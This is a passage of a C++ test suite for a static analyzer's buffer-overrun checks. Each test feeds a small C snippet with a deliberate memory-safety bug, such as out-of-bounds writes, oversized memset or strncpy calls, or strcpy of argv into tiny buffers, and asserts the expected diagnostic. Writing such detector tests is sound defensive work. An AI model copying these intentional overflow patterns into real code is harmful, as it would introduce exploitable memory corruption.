errout_str());\n }\n\n // data is allocated with alloca\n void alloc_alloca() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" char *s = (char *)alloca(10);\\n\"\n \" s[10] = 0;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Array 's[10]' accessed at index 10, which is out of bounds. [arrayIndexOutOfBounds]\\n\", \"\", errout_str());\n }\n /*\n void countSprintfLength() const {\n std::list unknownParameter(1, nullptr);\n\n ASSERT_EQUALS(6, CheckBufferOverrun::countSprintfLength(\"Hello\", unknownParameter));\n ASSERT_EQUALS(2, CheckBufferOverrun::countSprintfLength(\"s\", unknownParameter));\n ASSERT_EQUALS(2, CheckBufferOverrun::countSprintfLength(\"i\", unknownParameter));\n ASSERT_EQUALS(2, CheckBufferOverrun::countSprintfLength(\"%d\", unknownParameter));\n ASSERT_EQUALS(2, CheckBufferOverrun::countSprintfLength(\"%1d\", unknownParameter));\n ASSERT_EQUALS(3, CheckBufferOverrun::countSprintfLength(\"%2.2d\", unknownParameter));\n ASSERT_EQUALS(1, CheckBufferOverrun::countSprintfLength(\"%s\", unknownParameter));\n ASSERT_EQUALS(2, CheckBufferOverrun::countSprintfLength(\"f%s\", unknownParameter));\n ASSERT_EQUALS(1, CheckBufferOverrun::countSprintfLength(\"%-s\", unknownParameter));\n ASSERT_EQUALS(6, CheckBufferOverrun::countSprintfLength(\"%-5s\", unknownParameter));\n ASSERT_EQUALS(2, CheckBufferOverrun::countSprintfLength(\"\\\\\\\"\", unknownParameter));\n ASSERT_EQUALS(7, CheckBufferOverrun::countSprintfLength(\"Hello \\\\0Text\", unknownParameter));\n ASSERT_EQUALS(1, CheckBufferOverrun::countSprintfLength(\"\\\\0\", unknownParameter));\n ASSERT_EQUALS(2, CheckBufferOverrun::countSprintfLength(\"%%\", unknownParameter));\n ASSERT_EQUALS(3, CheckBufferOverrun::countSprintfLength(\"%d%d\", unknownParameter));\n ASSERT_EQUALS(3, CheckBufferOverrun::countSprintfLength(\"\\\\\\\\a%s\\\\0a\", unknownParameter));\n ASSERT_EQUALS(10, CheckBufferOverrun::countSprintfLength(\"\\\\\\\\\\\\\\\\Hello%d \\\\0Text\\\\\\\\\\\\\\\\\", unknownParameter));\n ASSERT_EQUALS(4, CheckBufferOverrun::countSprintfLength(\"%%%%%d\", unknownParameter));\n\n Token strTok;\n std::list stringAsParameter(1, &strTok);\n strTok.str(\"\\\"\\\"\");\n ASSERT_EQUALS(4, CheckBufferOverrun::countSprintfLength(\"str%s\", stringAsParameter));\n strTok.str(\"\\\"12345\\\"\");\n ASSERT_EQUALS(9, CheckBufferOverrun::countSprintfLength(\"str%s\", stringAsParameter));\n ASSERT_EQUALS(6, CheckBufferOverrun::countSprintfLength(\"%-4s\", stringAsParameter));\n ASSERT_EQUALS(6, CheckBufferOverrun::countSprintfLength(\"%-5s\", stringAsParameter));\n ASSERT_EQUALS(7, CheckBufferOverrun::countSprintfLength(\"%-6s\", stringAsParameter));\n ASSERT_EQUALS(5, CheckBufferOverrun::countSprintfLength(\"%.4s\", stringAsParameter));\n ASSERT_EQUALS(6, CheckBufferOverrun::countSprintfLength(\"%.5s\", stringAsParameter));\n ASSERT_EQUALS(6, CheckBufferOverrun::countSprintfLength(\"%.6s\", stringAsParameter));\n ASSERT_EQUALS(6, CheckBufferOverrun::countSprintfLength(\"%5.6s\", stringAsParameter));\n ASSERT_EQUALS(7, CheckBufferOverrun::countSprintfLength(\"%6.6s\", stringAsParameter));\n\n Token numTok;\n numTok.str(\"12345\");\n std::list intAsParameter(1, &numTok);\n ASSERT_EQUALS(6, CheckBufferOverrun::countSprintfLength(\"%02ld\", intAsParameter));\n ASSERT_EQUALS(9, CheckBufferOverrun::countSprintfLength(\"%08ld\", intAsParameter));\n ASSERT_EQUALS(6, CheckBufferOverrun::countSprintfLength(\"%.2d\", intAsParameter));\n ASSERT_EQUALS(9, CheckBufferOverrun::countSprintfLength(\"%08.2d\", intAsParameter));\n TODO_ASSERT_EQUALS(5, 2, CheckBufferOverrun::countSprintfLength(\"%x\", intAsParameter));\n ASSERT_EQUALS(5, CheckBufferOverrun::countSprintfLength(\"%4x\", intAsParameter));\n ASSERT_EQUALS(6, CheckBufferOverrun::countSprintfLength(\"%5x\", intAsParameter));\n ASSERT_EQUALS(5, CheckBufferOverrun::countSprintfLength(\"%.4x\", intAsParameter));\n ASSERT_EQUALS(6, CheckBufferOverrun::countSprintfLength(\"%.5x\", intAsParameter));\n ASSERT_EQUALS(6, CheckBufferOverrun::countSprintfLength(\"%1.5x\", intAsParameter));\n ASSERT_EQUALS(6, CheckBufferOverrun::countSprintfLength(\"%5.1x\", intAsParameter));\n\n Token floatTok;\n floatTok.str(\"1.12345f\");\n std::list floatAsParameter(1, &floatTok);\n TODO_ASSERT_EQUALS(5, 3, CheckBufferOverrun::countSprintfLength(\"%.2f\", floatAsParameter));\n ASSERT_EQUALS(9, CheckBufferOverrun::countSprintfLength(\"%8.2f\", floatAsParameter));\n TODO_ASSERT_EQUALS(5, 3, CheckBufferOverrun::countSprintfLength(\"%2.2f\", floatAsParameter));\n\n Token floatTok2;\n floatTok2.str(\"100.12345f\");\n std::list floatAsParameter2(1, &floatTok2);\n TODO_ASSERT_EQUALS(7, 3, CheckBufferOverrun::countSprintfLength(\"%2.2f\", floatAsParameter2));\n TODO_ASSERT_EQUALS(7, 3, CheckBufferOverrun::countSprintfLength(\"%.2f\", floatAsParameter));\n TODO_ASSERT_EQUALS(7, 5, CheckBufferOverrun::countSprintfLength(\"%4.2f\", floatAsParameter));\n\n std::list multipleParams = { &strTok, nullptr, &numTok };\n ASSERT_EQUALS(15, CheckBufferOverrun::countSprintfLength(\"str%s%d%d\", multipleParams));\n ASSERT_EQUALS(26, CheckBufferOverrun::countSprintfLength(\"str%-6s%08ld%08ld\", multipleParams));\n }\n */\n\n // extracttests.disable\n\n void minsize_argvalue() {\n constexpr char xmldata[] = \"\\n\"\n \"\\n\"\n \" \\n\"\n \" false\\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \"\";\n /*const*/ Settings settings = settingsBuilder().libraryxml(xmldata).severity(Severity::warning).build();\n settings.platform.sizeof_wchar_t = 4;\n\n check(\"void f() {\\n\"\n \" char c[10];\\n\"\n \" mymemset(c, 0, 10);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char c[10];\\n\"\n \" mymemset(c, 0, 11);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings));\n ASSERT_EQUALS(\"[test.cpp:3:14]: (error) Buffer is accessed out of bounds: c [bufferAccessOutOfBounds]\\n\", errout_str());\n\n check(\"struct S {\\n\"\n \" char a[5];\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" S s;\\n\"\n \" mymemset(s.a, 0, 10);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings));\n ASSERT_EQUALS(\"[test.cpp:6:15]: (error) Buffer is accessed out of bounds: s.a [bufferAccessOutOfBounds]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" char s[10];\\n\"\n \" mymemset(s, 0, '*');\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings));\n TODO_ASSERT_EQUALS(\"[test.cpp:3]: (warning) The size argument is given as a char constant.\\n\"\n \"[test.cpp:3:14]: (error) Buffer is accessed out of bounds: s [bufferAccessOutOfBounds]\\n\", \"[test.cpp:3:14]: (error) Buffer is accessed out of bounds: s [bufferAccessOutOfBounds]\\n\", errout_str());\n\n // ticket #836\n check(\"void f(void) {\\n\"\n \" char a[10];\\n\"\n \" mymemset(a+5, 0, 10);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings));\n TODO_ASSERT_EQUALS(\"[test.cpp:3:13]: (error) Buffer is accessed out of bounds: a [bufferAccessOutOfBounds]\\n\", \"\", errout_str());\n\n // Ticket #909\n check(\"void f(void) {\\n\"\n \" char str[] = \\\"abcd\\\";\\n\"\n \" mymemset(str, 0, 6);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings));\n ASSERT_EQUALS(\"[test.cpp:3:14]: (error) Buffer is accessed out of bounds: str [bufferAccessOutOfBounds]\\n\", errout_str());\n\n check(\"void f(void) {\\n\"\n \" char str[] = \\\"abcd\\\";\\n\"\n \" mymemset(str, 0, 5);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(void) {\\n\"\n \" wchar_t str[] = L\\\"abcd\\\";\\n\"\n \" mymemset(str, 0, 21);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings));\n ASSERT_EQUALS(\"[test.cpp:3:14]: (error) Buffer is accessed out of bounds: str [bufferAccessOutOfBounds]\\n\", errout_str());\n\n check(\"void f(void) {\\n\"\n \" wchar_t str[] = L\\\"abcd\\\";\\n\"\n \" mymemset(str, 0, 20);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings));\n ASSERT_EQUALS(\"\", errout_str());\n\n // ticket #1659 - overflowing variable when using memcpy\n check(\"void f(void) {\\n\"\n \" char c;\\n\"\n \" mymemset(&c, 0, 4);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings));\n TODO_ASSERT_EQUALS(\"[test.cpp:3:14]: (error) Buffer is accessed out of bounds: c [bufferAccessOutOfBounds]\\n\", \"\", errout_str());\n\n // ticket #2121 - buffer access out of bounds when using uint32_t\n check(\"void f(void) {\\n\"\n \" unknown_type_t buf[4];\\n\"\n \" mymemset(buf, 0, 100);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #3124 - multidimensional array\n check(\"int main() {\\n\"\n \" char b[5][6];\\n\"\n \" mymemset(b, 0, 5 * 6);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int main() {\\n\"\n \" char b[5][6];\\n\"\n \" mymemset(b, 0, 6 * 6);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings));\n ASSERT_EQUALS(\"[test.cpp:3:14]: (error) Buffer is accessed out of bounds: b [bufferAccessOutOfBounds]\\n\", errout_str());\n\n check(\"int main() {\\n\"\n \" char b[5][6];\\n\"\n \" mymemset(b, 0, 31);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings));\n ASSERT_EQUALS(\"[test.cpp:3:14]: (error) Buffer is accessed out of bounds: b [bufferAccessOutOfBounds]\\n\", errout_str());\n\n // #4968 - not standard function\n check(\"void f() {\\n\"\n \" char str[3];\\n\"\n \" foo.mymemset(str, 0, 100);\\n\"\n \" foo::mymemset(str, 0, 100);\\n\"\n \" std::mymemset(str, 0, 100);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings));\n TODO_ASSERT_EQUALS(\"[test.cpp:5:15]: (error) Buffer is accessed out of bounds: str [bufferAccessOutOfBounds]\\n\", \"\", errout_str());\n\n // #5257 - check strings\n check(\"void f() {\\n\"\n \" mymemset(\\\"abc\\\", 0, 20);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings));\n TODO_ASSERT_EQUALS(\"[test.cpp:2]: (error) Buffer is accessed out of bounds.\\n\",\n \"\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" mymemset(temp, \\\"abc\\\", 4);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #6816 - fp when array has known string value\n \" char c[10] = \\\"c\\\";\\n\"\n \" mymemset(c, 0, 10);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void minsize_sizeof() {\n constexpr char xmldata[] = \"\\n\"\n \"\\n\"\n \" \\n\"\n \" false\\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \"\";\n const Settings settings = settingsBuilder().libraryxml(xmldata).build();\n\n check(\"void f() {\\n\"\n \" char c[7];\\n\"\n \" mystrncpy(c, \\\"hello\\\", 7);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char c[6];\\n\"\n \" mystrncpy(c,\\\"hello\\\",6);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char c[5];\\n\"\n \" mystrncpy(c,\\\"hello\\\",6);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings));\n ASSERT_EQUALS(\"[test.cpp:3:12]: (error) Buffer is accessed out of bounds: c [bufferAccessOutOfBounds]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" char c[6];\\n\"\n \" mystrncpy(c,\\\"hello!\\\",7);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings));\n ASSERT_EQUALS(\"[test.cpp:3:15]: (error) Buffer is accessed out of bounds: c [bufferAccessOutOfBounds]\\n\", errout_str());\n\n check(\"void f(unsigned int addr) {\\n\"\n \" memset((void *)addr, 0, 1000);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings0));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct AB { char a[10]; };\\n\"\n \"void foo(AB *ab) {\\n\"\n \" mystrncpy(x, ab->a, 100);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void a(char *p) { mystrncpy(p,\\\"hello world!\\\",10); }\\n\" // #3168\n \"void b() {\\n\"\n \" char buf[5];\\n\"\n \" a(buf);\"\n \"}\", dinit(CheckOptions, $.s = &settings));\n TODO_ASSERT_EQUALS(\"[test.cpp:4] -> [test.cpp:1]: (error) Buffer is accessed out of bounds: buf\\n\",\n \"\",\n errout_str());\n }\n\n void minsize_strlen() {\n constexpr char xmldata[] = \"\\n\"\n \"\\n\"\n \" \\n\"\n \" false\\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \"\";\n const Settings settings = settingsBuilder().libraryxml(xmldata).build();\n\n // formatstr..\n check(\"void f() {\\n\"\n \" char str[3];\\n\"\n \" mysprintf(str, \\\"test\\\");\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings));\n ASSERT_EQUALS(\"[test.cpp:3:15]: (error) Buffer is accessed out of bounds: str [bufferAccessOutOfBounds]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" char str[5];\\n\"\n \" mysprintf(str, \\\"%s\\\", \\\"abcde\\\");\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings));\n ASSERT_EQUALS(\"[test.cpp:3:15]: (error) Buffer is accessed out of bounds: str [bufferAccessOutOfBounds]\\n\", errout_str());\n\n check(\"int getnumber();\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" char str[5];\\n\"\n \" mysprintf(str, \\\"%d: %s\\\", getnumber(), \\\"abcde\\\");\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings));\n ASSERT_EQUALS(\"[test.cpp:5:15]: (error) Buffer is accessed out of bounds: str [bufferAccessOutOfBounds]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" char str[5];\\n\"\n \" mysprintf(str, \\\"test%s\\\", \\\"\\\");\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char *str = new char[5];\\n\"\n \" mysprintf(str, \\\"abcde\\\");\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings));\n ASSERT_EQUALS(\"[test.cpp:3:15]: (error) Buffer is accessed out of bounds: str [bufferAccessOutOfBounds]\\n\", errout_str());\n\n check(\"void f(int condition) {\\n\"\n \" char str[5];\\n\"\n \" mysprintf(str, \\\"test%s\\\", condition ? \\\"12\\\" : \\\"34\\\");\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int condition) {\\n\"\n \" char str[5];\\n\"\n \" mysprintf(str, \\\"test%s\\\", condition ? \\\"12\\\" : \\\"345\\\");\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings));\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n\n check(\"struct Foo { char a[1]; };\\n\"\n \"void f() {\\n\"\n \" struct Foo x;\\n\"\n \" mysprintf(x.a, \\\"aa\\\");\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings));\n ASSERT_EQUALS(\"[test.cpp:4:14]: (error) Buffer is accessed out of bounds: x.a [bufferAccessOutOfBounds]\\n\", errout_str());\n\n // ticket #900\n check(\"void f() {\\n\"\n \" char *a = new char(30);\\n\"\n \" mysprintf(a, \\\"a\\\");\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings));\n ASSERT_EQUALS(\"[test.cpp:3:13]: (error) Buffer is accessed out of bounds: a [bufferAccessOutOfBounds]\\n\", errout_str());\n\n check(\"void f(char value) {\\n\"\n \" char *a = new char(value);\\n\"\n \" mysprintf(a, \\\"a\\\");\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings));\n ASSERT_EQUALS(\"[test.cpp:3:13]: (error) Buffer is accessed out of bounds: a [bufferAccessOutOfBounds]\\n\", errout_str());\n\n // This is out of bounds if 'sizeof(ABC)' is 1 (No padding)\n check(\"struct Foo { char a[1]; };\\n\"\n \"void f() {\\n\"\n \" struct Foo *x = malloc(sizeof(Foo));\\n\"\n \" mysprintf(x->a, \\\"aa\\\");\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings));\n TODO_ASSERT_EQUALS(\"[test.cpp:4]: (error, inconclusive) Buffer is accessed out of bounds: x.a\\n\", \"\", errout_str());\n\n check(\"struct Foo { char a[1]; };\\n\"\n \"void f() {\\n\"\n \" struct Foo *x = malloc(sizeof(Foo) + 10);\\n\"\n \" mysprintf(x->a, \\\"aa\\\");\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Foo { char a[1]; };\\n\"\n \"void f() {\\n\"\n \" struct Foo x;\\n\"\n \" mysprintf(x.a, \\\"aa\\\");\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings));\n ASSERT_EQUALS(\"[test.cpp:4:14]: (error) Buffer is accessed out of bounds: x.a [bufferAccessOutOfBounds]\\n\", errout_str());\n\n check(\"struct Foo {\\n\" // #6668 - unknown size\n \" char a[LEN];\\n\"\n \" void f();\\n\"\n \"};\"\n \"void Foo::f() {\\n\"\n \" mysprintf(a, \\\"abcd\\\");\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void minsize_mul() {\n constexpr char xmldata[] = \"\\n\"\n \"\\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \"\";\n const Settings settings = settingsBuilder().libraryxml(xmldata).build();\n\n check(\"void f() {\\n\"\n \" char c[5];\\n\"\n \" myfread(c, 1, 5, stdin);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char c[5];\\n\"\n \" myfread(c, 1, 6, stdin);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings));\n ASSERT_EQUALS(\"[test.cpp:3:13]: (error) Buffer is accessed out of bounds: c [bufferAccessOutOfBounds]\\n\", errout_str());\n }\n\n // extracttests.enable\n\n void unknownType() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" UnknownType *a = malloc(4);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n // extracttests.disable\n void terminateStrncpy1() {\n check(\"void foo ( char *bar ) {\\n\"\n \" char baz[100];\\n\"\n \" strncpy(baz, bar, 100);\\n\"\n \" strncpy(baz, bar, 100);\\n\"\n \" baz[99] = 0;\\n\"\n \" strncpy(baz, bar, 100);\\n\"\n \" baz[99] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo ( char *bar ) {\\n\"\n \" char baz[100];\\n\"\n \" strncpy(baz, bar, 100);\\n\"\n \" baz[99] = '\\\\0';\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo ( char *bar ) {\\n\"\n \" char baz[100];\\n\"\n \" strncpy(baz, bar, 100);\\n\"\n \" baz[x+1] = '\\\\0';\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Test with invalid code that there is no segfault\n check(\"char baz[100];\\n\"\n \"strncpy(baz, \\\"var\\\", 100)\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Test that there are no duplicate error messages\n check(\"void foo ( char *bar ) {\\n\"\n \" char baz[100];\\n\"\n \" strncpy(baz, bar, 100);\\n\"\n \" foo(baz);\\n\"\n \" foo(baz);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (warning, inconclusive) The buffer 'baz' may not be null-terminated after the call to strncpy(). [terminateStrncpy]\\n\", errout_str());\n }\n\n void terminateStrncpy2() {\n check(\"char *foo ( char *bar ) {\\n\"\n \" char baz[100];\\n\"\n \" strncpy(baz, bar, 100);\\n\"\n \" bar[99] = 0;\\n\"\n \" return strdup(baz);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (warning, inconclusive) The buffer 'baz' may not be null-terminated after the call to strncpy(). [terminateStrncpy]\\n\", errout_str());\n }\n\n void terminateStrncpy3() {\n // Ticket #2170 - false positive\n // The function bar is risky. But it might work that way intentionally.\n check(\"char str[100];\\n\"\n \"\\n\"\n \"void foo(char *a) {\\n\"\n \" strncpy(str, a, 100);\\n\"\n \"}\\n\"\n \"\\n\"\n \"void bar(char *p) {\\n\"\n \" strncpy(p, str, 100);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (warning, inconclusive) The buffer 'str' may not be null-terminated after the call to strncpy(). [terminateStrncpy]\\n\", errout_str());\n }\n\n void terminateStrncpy4() {\n check(\"void bar() {\\n\"\n \" char buf[4];\\n\"\n \" strncpy(buf, \\\"ab\\\", 4);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void bar() {\\n\"\n \" char buf[4];\\n\"\n \" strncpy(buf, \\\"abcde\\\", 4);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (warning, inconclusive) The buffer 'buf' may not be null-terminated after the call to strncpy(). [terminateStrncpy]\\n\", errout_str());\n }\n\n void terminateStrncpy5() { // #9944\n check(\"void f(const std::string& buf) {\\n\"\n \" char v[255];\\n\"\n \" if (buf.size() >= sizeof(v))\\n\"\n \" return;\\n\"\n \" strncpy(v, buf.c_str(), sizeof(v));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::string& buf) {\\n\"\n \" char v[255];\\n\"\n \" if (buf.size() >= sizeof(v))\\n\"\n \" strncpy(v, buf.c_str(), sizeof(v));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (warning, inconclusive) The buffer 'v' may not be null-terminated after the call to strncpy(). [terminateStrncpy]\\n\", errout_str());\n }\n // extracttests.enable\n\n void recursive_long_time() {\n // Just test that recursive check doesn't take long time\n check(\"char *f2 ( char *b )\\n\"\n \"{\\n\"\n \" f2( b );\\n\"\n \" f2( b );\\n\"\n \" f2( b );\\n\"\n \" f2( b );\\n\"\n \" f2( b );\\n\"\n \" f2( b );\\n\"\n \" f2( b );\\n\"\n \" f2( b );\\n\"\n \" f2( b );\\n\"\n \" f2( b );\\n\"\n \" f2( b );\\n\"\n \" f2( b );\\n\"\n \" f2( b );\\n\"\n \" f2( b );\\n\"\n \" f2( b );\\n\"\n \"}\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" char a[10];\\n\"\n \" f2(a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n // Ticket #1587 - crash\n void crash1() {\n check(\"struct struct A\\n\"\n \"{\\n\"\n \" int alloclen;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" struct A *str;\\n\"\n \" str = malloc(4);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void crash2() {\n check(\"void a(char *p) {\\n\"\n \" f( { if(finally_arg); } );\\n\"\n \"}\\n\"\n \"\\n\"\n \"void b() {\\n\"\n \" char arr[64];\\n\"\n \" a(arr);\\n\"\n \"}\");\n }\n\n void crash3() {\n check(\"struct b { unknown v[0]; };\\n\"\n \"void d() { struct b *f; f = malloc(108); }\");\n }\n\n void crash4() { // #8679\n check(\"__thread void *thread_local_var; \"\n \"int main() { \"\n \" thread_local_var = malloc(1337); \"\n \" return 0; \"\n \"}\");\n\n check(\"thread_local void *thread_local_var; \"\n \"int main() { \"\n \" thread_local_var = malloc(1337); \"\n \" return 0; \"\n \"}\");\n }\n\n void crash5() { // 8644 - token has varId() but variable() is null\n check(\"int a() {\\n\"\n \" void b(char **dst) {\\n\"\n \" *dst = malloc(50);\\n\"\n \" }\\n\"\n \"}\");\n }\n\n void crash6() {\n check(\"void start(char* name) {\\n\"\n \"char snapname[64] = { 0 };\\n\"\n \"strncpy(snapname, \\\"snapshot\\\", arrayLength(snapname));\\n\"\n \"}\");\n }\n\n void crash7() { // 9073 - [ has no astParent\n check(\"char x[10];\\n\"\n \"void f() { x[10]; }\");\n }\n\n void insecureCmdLineArgs() {\n check(\"int main(int argc, char *argv[])\\n\"\n \"{\\n\"\n \" if(argc>1)\\n\"\n \" {\\n\"\n \" char buf[2];\\n\"\n \" char *p = strdup(argv[1]);\\n\"\n \" strcpy(buf,p);\\n\"\n \" free(p);\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:7]: (error) Buffer overrun possible for long command line arguments.\\n\", \"\", errout_str());\n\n check(\"int main(int argc, char *argv[])\\n\"\n \"{\\n\"\n \" if(argc>1)\\n\"\n \" {\\n\"\n \" char buf[2] = {'\\\\0','\\\\0'};\\n\"\n \" char *p = strdup(argv[1]);\\n\"\n \" strcat(buf,p);\\n\"\n \" free(p);\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:7]: (error) Buffer overrun possible for long command line arguments.\\n\", \"\", errout_str());\n\n check(\"int main(const int argc, char* argv[])\\n\"\n \"{\\n\"\n \" char prog[10];\\n\"\n \" strcpy(prog, argv[0]);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4]: (error) Buffer overrun possible for long command line arguments.\\n\", \"\", errout_str());\n\n check(\"int main(int argc, const char* argv[])\\n\"\n \"{\\n\"\n \" char prog[10];\\n\"\n \" strcpy(prog, argv[0]);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4]: (error) Buffer overrun possible for long command line arguments.\\n\", \"\", errout_str());\n\n check(\"int main(const int argc, const char* argv[])\\n\"\n \"{\\n\"\n \" char prog[10];\\n\"\n \" strcpy(prog, argv[0]);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4]: (error) Buffer overrun possible for long command line arguments.\\n\", \"\", errout_str());\n\n check(\"int main(int argc, char* argv[])\\n\"\n \"{\\n\"\n \" char prog[10] = {'\\\\0'};\\n\"\n \" strcat(prog, argv[0]);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4]: (error) Buffer overrun possible for long command line arguments.\\n\", \"\", errout_str());\n\n check(\"int main(int argc, char **argv, char **envp)\\n\"\n \"{\\n\"\n \" char prog[10];\\n\"\n \" strcpy(prog, argv[0]);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4]: (error) Buffer overrun possible for long command line arguments.\\n\", \"\", errout_str());\n\n check(\"int main(int argc, const char *const *const argv, char **envp)\\n\"\n \"{\\n\"\n \" char prog[10];\\n\"\n \" strcpy(prog, argv[0]);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4]: (error) Buffer overrun possible for long command line arguments.\\n\", \"\", errout_str());\n\n check(\"int main(const int argc, const char *const *const argv, const char *const *const envp)\\n\"\n \"{\\n\"\n \" char prog[10];\\n\"\n \" strcpy(prog, argv[0]);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4]: (error) Buffer overrun possible for long command line arguments.\\n\", \"\", errout_str());\n\n check(\"int main(int argc, char **argv, char **envp)\\n\"\n \"{\\n\"\n \" char prog[10] = {'\\\\0'};\\n\"\n \" strcat(prog, argv[0]);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4]: (error) Buffer overrun possible for long command line arguments.\\n\", \"\", errout_str());\n\n check(\"int main(const int argc, const char **argv, char **envp)\\n\"\n \"{\\n\"\n \" char prog[10] = {'\\\\0'};\\n\"\n \" strcat(prog, argv[0]);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4]: (error) Buffer overrun possible for long command line arguments.\\n\", \"\", errout_str());\n\n check(\"int main(int argc, const char **argv, char **envp)\\n\"\n \"{\\n\"\n \" char prog[10] = {'\\\\0'};\\n\"\n \" strcat(prog, argv[0]);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4]: (error) 